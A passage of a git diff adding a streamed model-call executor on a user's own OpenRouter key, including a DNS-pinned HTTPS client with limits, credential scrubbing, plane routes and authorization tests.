deps.accounts.findApproval(parsed.grant.approvalId).catch(() => null); + const delegation: DelegationFact = + parsed.grant.delegationId === null ? { kind: 'none' } : ((await deps.accounts.findDelegation({ delegationId: parsed.grant.delegationId, now }).catch(() => null)) ?? { kind: 'none' }); + const usageRef: SecretRef | null = row === null ? null : { tenantId: row.tenantId as never, accountId: row.id as never, kind: row.kind }; + const requestBytes = new TextEncoder().encode(body).byteLength; + const policyUsage = + parsed.grant.approvalId !== 'policy' || usageRef === null + ? { expired: false, limitsExceeded: false } + : await Promise.all([deps.planeScope(usageRef), deps.usage.window({ ref: usageRef, now })]).then( + ([scope, usage]) => decidePolicyUsage({ policy: scope?.approvalPolicy ?? null, usage, requestBytes, now }), + () => ({ expired: true, limitsExceeded: true }), + ); + const verdict = await deps.grantGate.present<'inference-executor'>({ + grant: claim, + signature, + issuerPublicKey: deps.issuerPublicKey, + now, + expected: expectedBindingFor<'inference-executor'>({ run, presenter, row, plane, allowedDriveIds: parsed.grant.callerCeiling.allowedDriveIds, delegation }), + requestDigest: digestRequest({ canonical, hash: deps.hash }), + requestOperation: canonical.operation, + approval: approvalFactFor({ approvalId: parsed.grant.approvalId, approval: approvalRow, policyVersion: row?.policyVersion ?? 0, policyUsage }), + verify: deps.verify, + hash: deps.hash, + rotationGraceMs: deps.rotationGraceMs, + }); + if (!verdict.ok) return deny(claim, verdict.reason, now, verdict.reason === 'approval_mismatch' && policyUsage.limitsExceeded ? { ok: false, reason: 'limits_exceeded' } : REFUSED); + if (row === null || identityBase === null || plane === null || usageRef === null) return deny(claim, 'version_mismatch', now); + const grant: VerifiedGrant<'inference-executor'> = verdict.grant; + + if (grant.approvalId === 'policy') { + const scope = await deps.planeScope(usageRef).catch(() => null); + const reserved = await deps.usage.reserve({ + ref: usageRef, + grantId: grant.grantId, + bytes: requestBytes, + now, + admits: (usage) => { + const decision = decidePolicyUsage({ policy: scope?.approvalPolicy ?? null, usage, requestBytes, now }); + return !decision.expired && !decision.limitsExceeded; + }, + }); + if (!reserved) return deny(claim, 'approval_mismatch', now, { ok: false, reason: 'limits_exceeded' }); + } + + let announce: (result: InferenceResult) => void = () => undefined; + let finished: Promise = Promise.resolve(); + const started = new Promise((resolve) => { + announce = resolve; + }); + + const act = async (): Promise => { + const resolved = await deps.store.resolve<'inference-executor', 'api_key'>({ + ref: { tenantId: identityBase.tenantId, accountId: grant.accountId, kind: 'api_key' }, + version: grant.credentialVersion, + grant, + identity: { ...identityBase, channel: 'inference-executor' }, + }); + if (!resolved.ok) { + announce({ ok: false, reason: 'upstream_unreachable' }); + return { kind: 'upstream_failed', upstreamStatus: null }; + } + const key = resolved.material.value; + const target = new URL(INFERENCE_URL); + const sent = await deps.network.stream({ + method: 'POST', + url: INFERENCE_URL, + hostname: target.hostname, + port: 443, + headers: [ + ['accept', 'text/event-stream, application/json'], + ['accept-encoding', 'identity'], + ['authorization', `Bearer ${key}`], + ['content-type', 'application/json'], + ['x-title', 'PageSpace'], + ], + body: new TextEncoder().encode(body), + }); + if (sent.kind !== 'response') { + announce({ ok: false, reason: 'upstream_unreachable' }); + return sent.kind === 'failed' && sent.phase === 'after_send' ? { kind: 'unknown' } : { kind: 'upstream_failed', upstreamStatus: null }; + } + const upstream = sent; + const scrubber = createStreamScrubber({ knownValues: [key, `Bearer ${key}`] }); + async function* released(): AsyncGenerator { + for await (const chunk of upstream.body) { + const out = scrubber.push(chunk); + if (out.byteLength > 0) yield out; + } + const tail = scrubber.flush(); + if (tail.byteLength > 0) yield tail; + } + const contentType = sent.headers.find(([name]) => name === 'content-type')?.[1] ?? ''; + announce({ + ok: true, + status: sent.status, + contentType: RELEASED_CONTENT_TYPES.test(contentType) ? contentType : 'application/octet-stream', + body: released(), + cancel: sent.abort, + finished, + }); + const how = await sent.closed; + return how === 'complete' ? { kind: 'executed', upstreamStatus: sent.status } : { kind: 'unknown' }; + }; + + const audited: Promise = deps.audited + .execute({ grant, canonical, now, auditResourceKeys: ['model'], act }) + .catch(() => null) + .finally(async () => { + if (grant.approvalId === 'policy') await deps.usage.finish({ grantId: grant.grantId, now: deps.now() }).catch(() => undefined); + }); + finished = audited.then(async (result) => { + if (result?.ok) await deps.accounts.touchLastUsed({ id: row.id, at: now }).catch(() => undefined); + }); + // `act` never ran (the allowed row was refused) or threw before announcing: say so, never hang. + void audited.then((result) => announce(result === null || !result.ok ? { ok: false, reason: 'audit_unavailable' } : { ok: false, reason: 'upstream_unreachable' })); + return started; + }, + }; +} diff --git a/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts b/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts new file mode 100644 index 0000000000..6de6a71bc9 --- /dev/null +++ b/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts @@ -0,0 +1,199 @@ +/** + * `createPinnedHttpsStreamClient` — the inference executor's network shell + * (ADR 0009). I/O only. The buffered client's rules, for a streamed response: + * + * - DNS pinning: resolve once, refuse the whole answer if any record is not + * public (`decidePinnedAddress`), connect only to the chosen address, verify + * TLS against the hostname. + * - No redirects (never followed: a 3xx streams back as the upstream's answer), + * no upgrades, no connection reuse, no proxy, no decompression (we ask for + * `identity`, and the bytes are passed on as sent). + * - Limits: a total time for the whole exchange and a byte ceiling on the + * response; past either the socket is destroyed and the stream ends early. + * - Phase: a failure before the TLS handshake completed is `before_send`; + * anything later is `after_send` (the request may have been billed upstream). + */ +import { request as httpsRequest } from 'node:https'; +import type { IncomingMessage } from 'node:http'; +import type { LookupAddress } from 'node:dns'; +import type { LookupFunction } from 'node:net'; +import type { OutboundRequest } from '../build-outbound-request'; +import { decidePinnedAddress } from '../decide-pinned-address'; +import type { ResolveHost } from './pinned-https-client'; + +export type PinnedStreamLimits = { + readonly totalTimeoutMs: number; + readonly maxResponseBytes: number; + readonly maxConcurrent: number; +}; + +/** Ten minutes covers the longest reasoning step we run; 64 MiB is far past any chat completion. */ +export const DEFAULT_PINNED_STREAM_LIMITS: PinnedStreamLimits = { totalTimeoutMs: 600_000, maxResponseBytes: 64 * 1024 * 1024, maxConcurrent: 64 }; + +export type StreamedResponse = { + readonly kind: 'response'; + readonly status: number; + readonly headers: readonly (readonly [string, string])[]; + /** The upstream bytes, in order, until the response ends, errors, hits a limit, or `abort` is called. */ + readonly body: AsyncIterable; + /** Settles once the exchange is over: `complete` only when the upstream ended its response normally. */ + readonly closed: Promise<'complete' | 'cut'>; + readonly abort: () => void; +}; + +export type StreamSendOutcome = + | StreamedResponse + | { readonly kind: 'refused'; readonly reason: 'dns_failed' | 'no_address' | 'non_public_address' | 'busy' } + | { readonly kind: 'failed'; readonly phase: 'before_send' | 'after_send'; readonly reason: 'tls' | 'connect' | 'timeout' | 'upgrade_refused' | 'network' }; + +export type PinnedHttpsStreamClient = { readonly stream: (request: OutboundRequest) => Promise }; + +export function createPinnedHttpsStreamClient({ + resolveHost, + isPublic, + limits = DEFAULT_PINNED_STREAM_LIMITS, + ca, +}: { + readonly resolveHost: ResolveHost; + readonly isPublic: (address: string) => boolean; + readonly limits?: PinnedStreamLimits; + /** Extra trust anchors — tests only; production uses the system store. */ + readonly ca?: string; +}): PinnedHttpsStreamClient { + let inFlight = 0; + + return { + async stream(outbound) { + if (inFlight >= limits.maxConcurrent) return { kind: 'refused', reason: 'busy' }; + inFlight += 1; + let released = false; + const release = () => { + if (released) return; + released = true; + inFlight -= 1; + }; + let answers: readonly { readonly address: string; readonly family: 4 | 6 }[]; + try { + answers = await resolveHost(outbound.hostname); + } catch { + release(); + return { kind: 'refused', reason: 'dns_failed' }; + } + const pinned = decidePinnedAddress({ addresses: answers.map((answer) => ({ ...answer, isPublic: isPublic(answer.address) })) }); + if (!pinned.ok) { + release(); + return { kind: 'refused', reason: pinned.reason }; + } + const outcome = await streamPinned(outbound, pinned, limits, ca); + if (outcome.kind === 'response') void outcome.closed.finally(release); + else release(); + return outcome; + }, + }; +} + +function streamPinned(outbound: OutboundRequest, pinned: { readonly address: string; readonly family: 4 | 6 }, limits: PinnedStreamLimits, ca: string | undefined): Promise { + return new Promise((resolve) => { + let settled = false; + let handshakeDone = false; + let response: IncomingMessage | null = null; + let closeResult: (how: 'complete' | 'cut') => void = () => undefined; + const closed = new Promise<'complete' | 'cut'>((done) => { + closeResult = done; + }); + const settle = (outcome: StreamSendOutcome) => { + if (settled) return; + settled = true; + if (outcome.kind !== 'response') { + clearTimeout(timer); + closeResult('cut'); + } + resolve(outcome); + }; + + const pinnedLookup: LookupFunction = (_hostname, options, callback) => { + if (options.all === true) callback(null, [{ address: pinned.address, family: pinned.family } satisfies LookupAddress]); + else callback(null, pinned.address, pinned.family); + }; + const url = new URL(outbound.url); + const headers: Record = {}; + for (const [name, value] of outbound.headers) headers[name] = value; + + const req = httpsRequest({ + host: outbound.hostname, + servername: outbound.hostname, + port: outbound.port, + method: outbound.method, + path: `${url.pathname}${url.search}`, + headers, + agent: false, + ca, + lookup: pinnedLookup, + }); + + const abort = () => { + response?.destroy(); + req.destroy(); + }; + const timer = setTimeout(() => { + abort(); + settle({ kind: 'failed', phase: handshakeDone ? 'after_send' : 'before_send', reason: 'timeout' }); + closeResult('cut'); + }, limits.totalTimeoutMs); + + req.on('socket', (socket) => { + socket.once('secureConnect', () => { + handshakeDone = true; + }); + }); + req.on('upgrade', (_res, socket) => { + socket.destroy(); + settle({ kind: 'failed', phase: 'after_send', reason: 'upgrade_refused' }); + }); + req.on('error', (error: NodeJS.ErrnoException) => { + if (settled) return; + if (handshakeDone) return settle({ kind: 'failed', phase: 'after_send', reason: 'network' }); + const tls = typeof error.code === 'string' && (error.code.startsWith('ERR_TLS') || error.code.includes('CERT') || error.code === 'DEPTH_ZERO_SELF_SIGNED_CERT' || error.code === 'SELF_SIGNED_CERT_IN_CHAIN'); + settle({ kind: 'failed', phase: 'before_send', reason: tls ? 'tls' : 'connect' }); + }); + req.on('response', (res) => { + response = res; + if (res.statusCode === 101) { + abort(); + return settle({ kind: 'failed', phase: 'after_send', reason: 'upgrade_refused' }); + } + const pairs: [string, string][] = []; + for (let index = 0; index + 1 < res.rawHeaders.length; index += 2) pairs.push([res.rawHeaders[index]!.toLowerCase(), res.rawHeaders[index + 1]!]); + let ended = false; + res.once('end', () => { + ended = true; + }); + res.once('close', () => { + clearTimeout(timer); + closeResult(ended ? 'complete' : 'cut'); + }); + async function* body(): AsyncGenerator { + let size = 0; + try { + for await (const chunk of res as AsyncIterable) { + const room = limits.maxResponseBytes - size; + if (chunk.byteLength > room) { + if (room > 0) yield new Uint8Array(chunk.subarray(0, room)); + abort(); + return; + } + size += chunk.byteLength; + yield new Uint8Array(chunk); + } + } catch { + // A reset mid-stream ends the stream; `closed` reports it as cut. + } finally { + if (!ended) abort(); + } + } + settle({ kind: 'response', status: res.statusCode ?? 0, headers: pairs, body: body(), closed, abort }); + }); + + req.end(Buffer.from(outbound.body)); + }); +} diff --git a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts index 90b2c90d64..5a441ca80d 100644 --- a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts +++ b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts @@ -47,9 +47,13 @@ import type { SshClient } from './ssh-client'; import { generateSshKeyPair } from './ssh-client'; import type { SshCommandExecutor } from './ssh-command-executor'; import { sshTargetOf } from '../ssh/ssh-command'; +import type { InferenceExecutor, InferenceStarted } from './inference-executor'; +import { INFERENCE_UPSTREAM_HEADER, INFERENCE_UPSTREAM_STATUS_HEADER, planeInferenceStreamBody } from './plane-wire'; import { planeSshEnrollBody, planeSshExecBody, planeSshHostKeyBody, type PlaneSshEnrollResult, type PlaneSshHostKeyResult } from './plane-wire'; const MAX_BODY_BYTES = 1_500_000; +/** A model call's body (≤ 8 MiB of text) JSON-escaped inside the signed envelope. */ +const MAX_INFERENCE_BODY_BYTES = 20 * 1024 * 1024; /** The liveness probe the image HEALTHCHECK and Fly's `[checks.health]` call. */ export const PLANE_HEALTH_PATH = '/health'; @@ -63,18 +67,20 @@ export type PlaneRequestHandlerDeps = { readonly executor: HttpRequestExecutor; /** SSH accounts (slice 5): the transport for host-key probes and the command executor; null = SSH is off. */ readonly ssh: { readonly client: Pick; readonly executor: SshCommandExecutor } | null; + /** A person's own model key (ADR 0009): the streamed model-call executor; null = inference is off. */ + readonly inference: InferenceExecutor | null; readonly hmac: (key: string, text: string) => string; readonly sha256: (bytes: Uint8Array) => string; readonly now: () => number; }; -function readBody(req: IncomingMessage): Promise { +function readBody(req: IncomingMessage, maxBytes: number): Promise { return new Promise((resolve) => { const chunks: Buffer[] = []; let size = 0; req.on('data', (chunk: Buffer) => { size += chunk.byteLength; - if (size > MAX_BODY_BYTES) { + if (size > maxBytes) { resolve(null); req.destroy(); return; @@ -92,6 +98,35 @@ function send(res: ServerResponse, status: number, body: unknown): void { res.end(text); } +/** + * Stream an upstream answer back to the web process: the scrubbed bytes, OpenRouter's status beside them, + * and only a content type the executor released. When the web process goes away the upstream call stops. + */ +async function pipeInference(req: IncomingMessage, res: ServerResponse, started: InferenceStarted): Promise { + res.writeHead(200, { + 'content-type': started.contentType, + 'cache-control': 'no-store', + [INFERENCE_UPSTREAM_HEADER]: 'upstream', + [INFERENCE_UPSTREAM_STATUS_HEADER]: String(started.status), + }); + let open = true; + res.on('close', () => { + open = false; + started.cancel(); + }); + req.on('aborted', () => started.cancel()); + try { + for await (const chunk of started.body) { + if (!open) break; + if (!res.write(chunk)) await new Promise((resume) => res.once('drain', resume)); + } + } catch { + started.cancel(); + } + if (open) res.end(); + await started.finished; +} + function parseJson(bytes: Uint8Array): unknown { try { return JSON.parse(new TextDecoder().decode(bytes)); @@ -106,7 +141,7 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: // Liveness for the platform's probe: unauthenticated, GET-only, and it says nothing beyond "up". if (req.method === 'GET' && path === PLANE_HEALTH_PATH) return send(res, 200, { ok: true }); if (req.method !== 'POST'|| !Object.values(PLANE_ROUTES).includes(path as never)) return send(res, 404, { error: 'not_found' }); - const body = await readBody(req); + const body = await readBody(req, path === PLANE_ROUTES.inferenceStream ? MAX_INFERENCE_BODY_BYTES : MAX_BODY_BYTES); if (body === null) return send(res, 413, { error: 'too_large' }); const header = req.headers[PLANE_SIGNATURE_HEADER]; const signature = decidePlaneRequestSignature({ header: typeof header === 'string' ? header : null, method: 'POST', path, body, secret: deps.secret, now: deps.now(), hmac: deps.hmac, sha256: deps.sha256 }); @@ -267,6 +302,26 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: return send(res, 200, result); } + if (path === PLANE_ROUTES.inferenceStream) { + const parsed = planeInferenceStreamBody.safeParse(json); + if (!parsed.success) return send(res, 400, { error: 'malformed' }); + if (deps.inference === null) return send(res, 404, { error: 'not_found' }); + const { grant, signature: grantSignature, body: modelBody, run } = parsed.data; + const result = await deps.inference.execute({ + grant, + signature: grantSignature, + body: modelBody, + run: { + human: { userId: run.human.userId as UserId, sessionId: run.human.sessionId as SessionId | null }, + agentPageId: null, + conversationId: run.conversationId as ConversationId, + runId: run.runId as RunId, + }, + }); + if (!result.ok) return send(res, 200, result); + return pipeInference(req, res, result); + } + if (path === PLANE_ROUTES.usage) { const parsed = planeUsageBody.safeParse(json); if (!parsed.success) return send(res, 400, { error: 'malformed' }); diff --git a/packages/lib/src/agent-accounts/executor/plane-wire.ts b/packages/lib/src/agent-accounts/executor/plane-wire.ts index 3248ba506f..8b45a30043 100644 --- a/packages/lib/src/agent-accounts/executor/plane-wire.ts +++ b/packages/lib/src/agent-accounts/executor/plane-wire.ts @@ -128,6 +128,32 @@ export const planeSshExecBody = z }) .strict(); +/** + * One model call on a person's own model key (ADR 0009): the exact chat-completions body text, under a signed + * `inference-executor` grant. The plane answers either a refusal (JSON) or the upstream's stream itself, marked + * with `INFERENCE_UPSTREAM_HEADER`. + */ +export const planeInferenceStreamBody = z + .object({ + grant: z.unknown(), + signature: z.string().min(1).max(512), + body: z.string().min(2).max(8 * 1024 * 1024), + run: z + .object({ + human: z.object({ userId: z.string().min(1), sessionId: z.string().min(1).nullable() }).strict(), + agentPageId: z.null(), + conversationId: z.string().min(1), + runId: z.string().min(1), + }) + .strict(), + }) + .strict(); + +/** Present (value `upstream`) when the plane's response body IS the upstream's response. */ +export const INFERENCE_UPSTREAM_HEADER = 'x-pagespace-inference'; +/** The upstream's own HTTP status, carried beside it. */ +export const INFERENCE_UPSTREAM_STATUS_HEADER = 'x-pagespace-upstream-status'; + /** The policy window's counters for a ref (the plane's own usage ledger). */ export const planeUsageBody = z.object({ ref }).strict(); @@ -166,6 +192,9 @@ export type PlaneOAuthExchangeBody = z.infer; export type PlaneSshHostKeyBody = z.infer; export type PlaneSshEnrollBody = z.infer; export type PlaneSshExecBody = z.infer; +export type PlaneInferenceStreamBody = z.infer; +/** Why a model call never reached OpenRouter. The reasons are the person's, never an agent's. */ +export type PlaneInferenceRefusal = { readonly ok: false; readonly reason: 'refused' | 'limits_exceeded' | 'upstream_unreachable' | 'audit_unavailable' }; export type PlaneSshHostKeyResult = { readonly ok: true; readonly fingerprint: string; readonly algorithm: string } | { readonly ok: false; readonly reason: 'unresolvable' | 'address_refused' | 'unreachable' | 'timeout' | 'host_key_mismatch' | 'auth_failed' }; export type PlaneSshEnrollResult = | { readonly ok: true; readonly version: number; readonly publicKey: string } @@ -209,5 +238,6 @@ export const PLANE_ROUTES = { sshHostKey: '/v1/ssh/hostkey', sshEnroll: '/v1/ssh/enroll', sshExec: '/v1/ssh/exec', + inferenceStream: '/v1/inference/stream', execute: '/v1/http/execute', } as const; diff --git a/packages/lib/src/agent-accounts/executor/plane-worker.ts b/packages/lib/src/agent-accounts/executor/plane-worker.ts index 24e2d2b7b0..3c3a572853 100644 --- a/packages/lib/src/agent-accounts/executor/plane-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-worker.ts @@ -42,6 +42,8 @@ import { AGENT_ACCOUNT_OPERATIONS } from '../registry/google-operations'; import { createPlaneRefreshWorker } from './plane-refresh'; import { createSshClient } from './ssh-client'; import { createSshCommandExecutor } from './ssh-command-executor'; +import { createInferenceExecutor } from './inference-executor'; +import { createPinnedHttpsStreamClient } from './pinned-https-stream'; const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex'); const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex'); @@ -150,6 +152,24 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC now: () => Date.now(), rotationGraceMs: 300_000, }); + // A person's own model key (ADR 0009): streamed model calls to openrouter.ai, public addresses only. + const inferenceExecutor = createInferenceExecutor({ + store, + provisioner, + accounts: createAgentAccountRepository({ db }), + grantGate: createGrantGate({ replayStore: createReplayStoreRepository({ db }) }), + audited: createAuditedExecutor({ auditRepository: createAgentAccountAuditRepository({ appendPath: createSecurityAuditRepository({ db }) }), hash: sha3 }), + network: createPinnedHttpsStreamClient({ resolveHost, isPublic: isPublicIp }), + planeScope: (ref) => metadata.read(ref).then((facts) => facts?.scope ?? null), + usage, + issuerPublicKey: config.authorityPublicKey, + presenterKeyId: config.presenterKeyId, + verify: verifyEd25519, + hash: sha3, + sha256, + now: () => Date.now(), + rotationGraceMs: 300_000, + }); const server = createServer( createPlaneRequestHandler({ secret: config.serviceSecret, @@ -159,6 +179,7 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC provisioner, executor, ssh: { client: sshClient, executor: sshExecutor }, + inference: inferenceExecutor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256, now: () => Date.now(), diff --git a/packages/lib/src/agent-accounts/grant.ts b/packages/lib/src/agent-accounts/grant.ts index ef4f534435..289424d31e 100644 --- a/packages/lib/src/agent-accounts/grant.ts +++ b/packages/lib/src/agent-accounts/grant.ts @@ -62,7 +62,7 @@ export type GrantIssuer = 'pagespace-account-authority'; * Who may PRESENT a grant to the plane. Executors only; the sandbox guest is * never a channel (ADR 0006). `refresh-worker` may resolve `oauth2` only. */ -export type PresenterChannel = 'http-executor' | 'relay-runner' | 'browser-worker' | 'refresh-worker' | 'ssh-executor'; +export type PresenterChannel = 'http-executor' | 'relay-runner' | 'browser-worker' | 'refresh-worker' | 'ssh-executor' | 'inference-executor'; /** The channels that may call `resolve` for end-user operations (ADR 0005 §2.1). */ export type ExecutorChannel = Exclude; diff --git a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts new file mode 100644 index 0000000000..05eb05243e --- /dev/null +++ b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts @@ -0,0 +1,163 @@ +/** + * ADR 0009 — `authorizeInference`: one model call on a person's own model key. Pinned here: + * - only the acting human's OWN model key is usable, and an account that is not a model key never is; + * - the grant is for the inference executor and never names an agent page; + * - a live session or the person's inference delegation stands for them; neither → nothing is issued; + * - the policy written at enrollment covers every call within its limits, and refuses past them; + * - `authorize` (http_request) refuses a model key outright, so an agent cannot reach it as a tool. + */ +import { describe, expect, it } from 'vitest'; +import { createHash } from 'node:crypto'; +import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; +import type { ConversationId, DelegationId, GrantId, HashBytes, Nonce, PresenterKeyId, RunId, SessionId, UserId } from '../../grant'; +import { authorize, authorizeInference } from '../../authorize'; +import { INFERENCE_ORIGIN, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from '../model-key'; +import { OPERATION_REGISTRY_FIXTURE } from '../../__tests__/operation-registry.fixture'; + +const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex'); +const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex'); +const NOW = 1_800_000_000_000; +const HUMAN = 'user_h' as UserId; +const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true }); + +const modelKey = { + id: 'acct_mk', + kind: 'api_key', + ownerKind: 'user', + ownerUserId: HUMAN, + ownerAgentPageId: null, + ownerDriveId: null, + tenantId: `user:${HUMAN}`, + name: 'OpenRouter model key', + providerSlug: MODEL_KEY_PROVIDER_SLUG, + allowedOrigins: [INFERENCE_ORIGIN], + auxiliaryOrigins: [], + resourceRestrictions: {}, + approvalPolicy: modelKeyApprovalPolicy({ approver: HUMAN }), + credentialVersion: 1, + policyVersion: 1, + acknowledgment: 'dedicated_agent_account', + sessionFormat: null, + sessionHttpEnabled: false, + status: 'active', + upstreamRevocation: null, + lastUsedAt: null, + createdAt: new Date(NOW - 10_000), + updatedAt: new Date(NOW - 10_000), + revokedAt: null, +} as unknown as AgentAccountRecord; + +const delegation = { + kind: 'delegation' as const, + delegationId: 'del_1' as DelegationId, + accountId: 'acct_mk' as never, + agentPageId: null, + delegatedBy: HUMAN, + scope: MODEL_KEY_SCOPE, + expired: false, + revoked: false, +}; + +type Overrides = { + readonly account?: AgentAccountRecord | null; + readonly sessionId?: SessionId | null; + readonly actingHumanUserId?: UserId; + readonly delegation?: typeof delegation | { readonly kind: 'none' }; + readonly usage?: { usesThisHour: number; bytesOutThisHour: number; concurrent: number }; + readonly body?: string; +}; + +function run(overrides: Overrides = {}) { + const human = overrides.actingHumanUserId ?? HUMAN; + return authorizeInference({ + caller: { + actorUserId: human, + actingHumanUserId: human, + sessionId: overrides.sessionId === undefined ? ('sess_1' as SessionId) : overrides.sessionId, + conversationId: 'conv_1' as ConversationId, + runId: 'run_1' as RunId, + callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null }, + }, + account: overrides.account === undefined ? modelKey : overrides.account, + facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: overrides.delegation ?? { kind: 'none' }, ceilingAdmitsAccount: true }, + body: overrides.body ?? body, + sha256, + approvals: [], + usage: overrides.usage ?? { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }, + presenter: { keyId: 'pk_1' as PresenterKeyId, channel: 'inference-executor' }, + now: NOW, + grantId: 'g_1' as GrantId, + nonce: 'n_1' as Nonce, + ttlMs: 60_000, + hash: sha3, + }); +} + +describe('authorizeInference', () => { + it('given the person in a live session and their own model key, should issue an inference-executor grant naming no agent page, by policy', () => { + const actual = run(); + expect(actual.ok && { aud: actual.grant.aud, agentPageId: actual.grant.agentPageId, approvalId: actual.grant.approvalId, op: actual.grant.operation, delegationId: actual.grant.delegationId, resources: actual.canonical.resources }).toEqual({ + aud: 'inference-executor', + agentPageId: null, + approvalId: 'policy', + op: { class: 'write', name: 'openrouter.chat_completion' }, + delegationId: null, + resources: [['model', 'openai/gpt-5.5']], + }); + }); + + it('given an unattended run with the inference delegation, should carry the delegation; without one, should issue nothing', () => { + const delegated = run({ sessionId: null, delegation }); + const none = run({ sessionId: null }); + expect([delegated.ok && delegated.grant.delegationId, none.ok ? 'issued' : none.reason]).toEqual(['del_1', 'account_unavailable']); + }); + + it('given someone else running the call, should be unavailable exactly as a missing key', () => { + expect([run({ actingHumanUserId: 'user_other' as UserId }), run({ account: null })].map((verdict) => (verdict.ok ? 'issued' : verdict.reason))).toEqual(['account_unavailable', 'account_unavailable']); + }); + + it('given an ordinary api_key account, a revoked model key or a not-yet-stored one, should refuse', () => { + const actual = [ + run({ account: { ...modelKey, providerSlug: null } as AgentAccountRecord }), + run({ account: { ...modelKey, status: 'revoked' } as AgentAccountRecord }), + run({ account: { ...modelKey, credentialVersion: 0 } as AgentAccountRecord }), + ].map((verdict) => (verdict.ok ? 'issued' : verdict.reason)); + expect(actual).toEqual(['account_unavailable', 'account_unavailable', 'not_provisioned']); + }); + + it('given a model key whose stored origin is not OpenRouter, should refuse the destination', () => { + const actual = run({ account: { ...modelKey, allowedOrigins: ['https://evil.example'] } as AgentAccountRecord }); + expect(actual.ok ? 'issued' : actual.reason).toBe('destination_denied'); + }); + + it('given the hourly ceiling reached, should refuse with limits_exceeded rather than ask anyone', () => { + const actual = run({ usage: { usesThisHour: 1200, bytesOutThisHour: 0, concurrent: 0 } }); + expect(actual.ok ? 'issued' : actual.reason).toBe('limits_exceeded'); + }); + + it('given a body that is not a model call, should refuse the request', () => { + const actual = run({ body: '{"messages":[]}' }); + expect(actual.ok ? 'issued' : actual.reason).toBe('request_refused'); + }); +}); + +describe('authorize (http_request) on a model key', () => { + it('given an agent asking to send a request with a model key, should refuse it as an unsupported kind', () => { + const actual = authorize({ + caller: { actorUserId: HUMAN, actingHumanUserId: HUMAN, sessionId: 'sess_1' as SessionId, agentPageId: null, conversationId: 'conv_1' as ConversationId, runId: 'run_1' as RunId, callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null } }, + account: modelKey, + facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: { kind: 'none' }, ceilingAdmitsAccount: true }, + request: { channel: 'http-executor', method: 'POST', url: 'https://openrouter.ai/api/v1/chat/completions', headers: { 'content-type': 'application/json' }, body: new TextEncoder().encode(body) }, + registry: OPERATION_REGISTRY_FIXTURE, + approvals: [], + usage: { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }, + presenter: { keyId: 'pk_1' as PresenterKeyId, channel: 'http-executor' }, + now: NOW, + grantId: 'g_1' as GrantId, + nonce: 'n_1' as Nonce, + ttlMs: 60_000, + hash: sha3, + }); + expect(actual.ok ? 'issued' : actual.reason).toBe('kind_not_supported'); + }); +}); diff --git a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts new file mode 100644 index 0000000000..d88dd702f9 --- /dev/null +++ b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts @@ -0,0 +1,74 @@ +import { describe, it, expect } from 'vitest'; +import { createHash } from 'node:crypto'; +import type { UserId } from '../../grant'; +import { canonicalizeInferenceRequest, isModelKeyAccount, MAX_INFERENCE_BODY_BYTES, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy } from '../model-key'; +import { decideApproval } from '../../decide-approval'; + +const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex'); +const body = JSON.stringify({ model: 'anthropic/claude-sonnet-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true }); + +describe('canonicalizeInferenceRequest', () => { + it('given a chat-completions body, should pin POST to OpenRouter, digest the exact bytes and bind the model', () => { + const actual = canonicalizeInferenceRequest({ body, sha256 }); + expect(actual.ok && { ...actual.canonical, bodySha256: actual.canonical.bodySha256 === sha256(new TextEncoder().encode(body)) }).toEqual({ + channel: 'inference-executor', + method: 'POST', + origin: 'https://openrouter.ai:443', + path: '/api/v1/chat/completions', + query: [], + headers: [['content-type', 'application/json']], + bodySha256: true, + resources: [['model', 'anthropic/claude-sonnet-5.5']], + operation: { class: 'write', name: 'openrouter.chat_completion' }, + }); + }); + + it('given one changed byte, should produce a different digest', () => { + const a = canonicalizeInferenceRequest({ body, sha256 }); + const b = canonicalizeInferenceRequest({ body: body.replace('hi', 'ho'), sha256 }); + expect(a.ok && b.ok && a.canonical.bodySha256 !== b.canonical.bodySha256).toBe(true); + }); + + it('given a body that is not a JSON object, has no usable model, or is too large, should refuse', () => { + const actual = [ + canonicalizeInferenceRequest({ body: 'nope', sha256 }), + canonicalizeInferenceRequest({ body: '[1]', sha256 }), + canonicalizeInferenceRequest({ body: JSON.stringify({ model: '' }), sha256 }), + canonicalizeInferenceRequest({ body: JSON.stringify({ model: 'a b' }), sha256 }), + canonicalizeInferenceRequest({ body: JSON.stringify({ model: 'm', pad: 'x'.repeat(MAX_INFERENCE_BODY_BYTES) }), sha256 }), + ].map((verdict) => (verdict.ok ? 